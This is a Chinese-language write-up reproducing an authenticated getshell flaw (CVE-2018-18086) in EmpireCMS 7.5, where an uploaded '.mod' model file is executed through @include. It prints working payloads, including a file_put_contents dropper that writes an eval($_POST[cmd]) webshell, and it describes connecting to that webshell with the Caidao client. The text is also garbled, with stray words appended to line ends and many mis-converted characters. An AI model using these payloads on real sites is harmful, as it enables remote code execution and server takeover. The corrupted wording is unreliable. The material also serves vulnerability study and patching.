帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)php
1、漏洞描述html
EmpireCMS 7.5版本及以前版本在后台备份数据库时,未对数据库表名作验证,经过修改数据库表名能够实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。git
2、影响版本github
EmpireCMS<=7.5shell
3、环境搭建数据库
一、官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/安全
二、把下载的文件中的upload下的全部目录和文件放入到网站根目录下函数
三、修改php.ini配置文件, PHP环境中必须开启短标签,否则安装会提示没法安装网站
四、设置php.ini中 short_open_tag = On,重启phpstudy加密
五、而后开始安装,安装过程参考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html
4、漏洞复现
一、查看/e/admin/ecmsmod.php代码
二、跟随LoadInMod函数来到/e/class/moddofun.php,能够看到上传文件处使用make_password(10)对时间进行加密而后拼接成为上传的文件名,这样就没法获得用户名
三、继续浏览代码,在下面发现@include($path),直接包含了这个上传的文件,这时若是在上传文件中添加能够建立文件的代码就能够绕过找不到文件名这个限制了。
四、咱们能够构造以下payload:
<?php file_put_contents(“shell.php”,”<?php phpinfo(); ?>”); ?>
五、登陆后台,点击以下图所示
六、点击”导入系统模型”以后进入以下界面
七、能够上传一个内容为php代码的”.mod”后缀的文件,内容以下:
八、上传1.php.mod文件
九、查看文件,能够看到成功上传
十、浏览访问http://192.168.10.171/empirecms/e/admin/shell.php,能够看到成功执行代码
十一、上传一个内容能够getshell的1.php.mod,内容入下:注意须要对$进行转义
<?php file_put_contents("caidao.php","<?php @eval(\$_POST[cmd]); ?>");?>
十二、成功上传后,菜刀链接,成功getshell
------------------------------------------------------------------------------------------
参考: https://github.com/SukaraLin/php_code_audit_project/issues/1